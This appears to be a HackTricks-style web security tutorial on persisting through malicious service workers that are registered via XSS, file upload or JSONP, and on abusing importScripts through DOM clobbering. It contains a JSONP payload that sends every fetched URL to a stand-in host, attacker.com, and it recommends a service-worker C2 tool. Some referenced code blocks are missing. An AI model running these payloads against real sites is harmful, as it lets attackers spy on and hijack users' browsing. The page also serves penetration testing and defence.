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A **service worker** is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing **offline and background processing** capabilities. Detailed information on service workers can be found [here](https://developers.google.com/web/fundamentals/primers/service-workers). By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.
Existing service workers can be checked in the **Service Workers** section of the **Application** tab in **Developer Tools**. Another method is visiting [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) for a more detailed view.
**Push notification permissions** directly impact a **service worker's** ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits.
In order to exploit this vulnerability you need to find:
* A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file
* A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**.
In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** (this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response):
And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not:
In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
## Abusing `importScripts` in a SW via DOM Clobbering
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### With DOM Clobbering
For more info about what DOM Clobbering is check:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**.
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
